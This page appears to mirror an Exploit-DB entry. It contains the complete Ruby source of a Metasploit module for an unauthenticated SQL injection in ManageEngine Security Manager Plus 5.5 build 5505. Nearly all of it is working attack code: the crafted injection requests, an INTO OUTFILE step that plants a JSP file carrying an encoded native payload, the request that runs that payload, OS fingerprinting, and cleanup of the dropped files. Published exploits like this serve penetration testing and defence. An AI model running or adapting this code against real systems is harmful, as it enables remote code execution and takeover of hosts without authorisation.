ManageEngine Security Manager Plus 5.5 build 5505 – SQL Injection (Metasploit)

  • 作者: Metasploit
    日期: 2012-10-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/22304/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
    			'Description'=> %q{
    					This module exploits a SQL injection found in ManageEngine Security Manager Plus
    				advanced search page, which results in remote code execution under the context of
    				SYSTEM in Windows; or as the user in Linux.Authentication is not required in order
    				to exploit this vulnerability.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'xistence <xistence[at]0x90.nl>',# Discovery & Metasploit module
    					'sinn3r',# Improved Metasploit module
    					'egypt'# Improved Metasploit module
    				],
    			'References' =>
    				[
    					['EDB','22094'],
    					['BID', '56138']
    				],
    			'Platform' => ['win', 'linux'],
    			'Targets'=>
    				[
    					['Automatic', {}],
    					['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
    					['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
    				],
    			'DefaultTarget'=> 0,
    			'Privileged' => false,
    			'DisclosureDate' => "Oct 18 2012"))
    
    		register_options(
    			[
    				OptPort.new('RPORT', [true, 'The target port', 6262])
    			], self.class)
    	end
    
    
    	def check
    		res = sqli_exec(Rex::Text.rand_text_alpha(1))
    
    		if res and res.body =~ /Error during search/
    			return Exploit::CheckCode::Appears
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    
    	def pick_target
    		return target if target.name != 'Automatic'
    
    		rnd_num = Rex::Text.rand_text_numeric(1)
    		rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
    		outpath = "../../webapps/SecurityManager/#{rnd_fname}"
    
    		@clean_ups << outpath
    
    		sqli= "#{rnd_num})) union select @@version,"
    		sqli << (2..28).map {|e| e} * ","
    		sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
    		sqli_exec(sqli)
    
    		res = send_request_raw({'uri'=>"/#{rnd_fname}"})
    
    		# What @@version returns:
    		# Linux = 5.0.36-enterprise
    		# Windows = 5.0.36-enterprise-nt
    
    		if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
    			print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
    			return targets[1]# Windows target
    		elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
    			print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
    			return targets[2]
    		end
    
    		return nil
    	end
    
    
    	#
    	# We're in SecurityManager/bin at this point
    	#
    	def on_new_session(cli)
    		if target['Platform'] == 'linux'
    			print_warning("Malicious executable is removed during payload execution")
    		end
    
    		if cli.type == 'meterpreter'
    			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    		end
    
    		@clean_ups.each { |f|
    			base = File.basename(f)
    			f = "../webapps/SecurityManager/#{base}"
    			print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
    
    			begin
    				if cli.type == 'meterpreter'
    					cli.fs.file.rm(f)
    				else
    					del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
    					f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
    					cli.shell_command_token("#{del_cmd} \"#{f}\"")
    				end
    
    				print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
    			rescue ::Exception => e
    				print_error("Unable to delete: #{e.message}")
    			end
    		}
    	end
    
    
    	#
    	# Embeds our executable in JSP
    	#
    	def generate_jsp_payload
    		opts= {:arch => @my_target.arch, :platform => @my_target.platform}
    		native_payload= Rex::Text.encode_base64(generate_payload_exe(opts))
    		native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
    		ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
    
    		var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
    		var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
    		var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
    		var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
    		var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
    		var_path= Rex::Text.rand_text_alpha(rand(8) + 3)
    		var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
    
    		if @my_target['Platform'] == 'linux'
    			var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
    			chmod = %Q|
    			Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
    			Thread.sleep(200);
    			|
    
    			var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
    			cleanup = %Q|
    			Thread.sleep(200);
    			Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
    			|
    		else
    			chmod = ''
    			cleanup = ''
    		end
    
    		jsp = %Q|
    		<%@page import="java.io.*"%>
    		<%@page import="sun.misc.BASE64Decoder"%>
    
    		<%
    		byte[] #{var_raw} = null;
    		BufferedOutputStream #{var_ostream} = null;
    		try {
    			String #{var_buf} = "#{native_payload}";
    
    			BASE64Decoder #{var_decoder} = new BASE64Decoder();
    			#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
    
    			File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
    			String #{var_path} = #{var_tmp}.getAbsolutePath();
    
    			#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
    			#{var_ostream}.write(#{var_raw});
    			#{var_ostream}.close();
    			#{chmod}
    			Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
    			#{cleanup}
    		} catch (Exception e) {
    		}
    		%>
    		|
    
    		jsp = jsp.gsub(/\n/, '')
    		jsp = jsp.gsub(/\t/, '')
    
    		jsp.unpack("H*")[0]
    	end
    
    	def sqli_exec(sqli_string)
    		cookie= 'STATE_COOKIE=&'
    		cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
    		cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
    		cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
    		cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
    		cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
    		cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
    		cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
    		cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
    		cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
    
    		state_id = Rex::Text.rand_text_numeric(5)
    
    		send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
    			'headers' => {
    				'Cookie' => cookie,
    				'Accept-Encoding' => 'identity'
    			},
    			'vars_get'=> {
    				'reqType'=>'AdvanceSearch',
    				'SUBREQUEST' =>'XMLHTTP'
    			},
    			'vars_post' => {
    				'ANDOR' => 'and',
    				'condition_1' => 'OpenPorts@PORT',
    				'operator_1'=> 'IN',
    				'value_1' => sqli_string,
    				'COUNT' => '1'
    			}
    		})
    	end
    
    	#
    	# Run the actual exploit
    	#
    	def inject_exec(out)
    		hex_jsp = generate_jsp_payload
    		rnd_num = Rex::Text.rand_text_numeric(1)
    		sqli= "#{rnd_num})) union select 0x#{hex_jsp},"
    		sqli << (2..28).map {|e| e} * ","
    		sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
    
    		print_status("#{rhost}:#{rport} - Trying SQL injection...")
    		sqli_exec(sqli)
    
    		fname = "/#{File.basename(out)}"
    		print_status("#{rhost}:#{rport} - Requesting #{fname}")
    		send_request_raw({'uri' => fname})
    
    		handler
    	end
    
    
    	def exploit
    		# This is used to collect files we want to delete later
    		@clean_ups = []
    
    		@my_target = pick_target
    		if @my_target.nil?
    			print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
    			return
    		end
    
    		jsp_name= rand_text_alpha(rand(6)+3)
    		outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
    
    		@clean_ups << outpath
    
    		inject_exec(outpath)
    	end
    end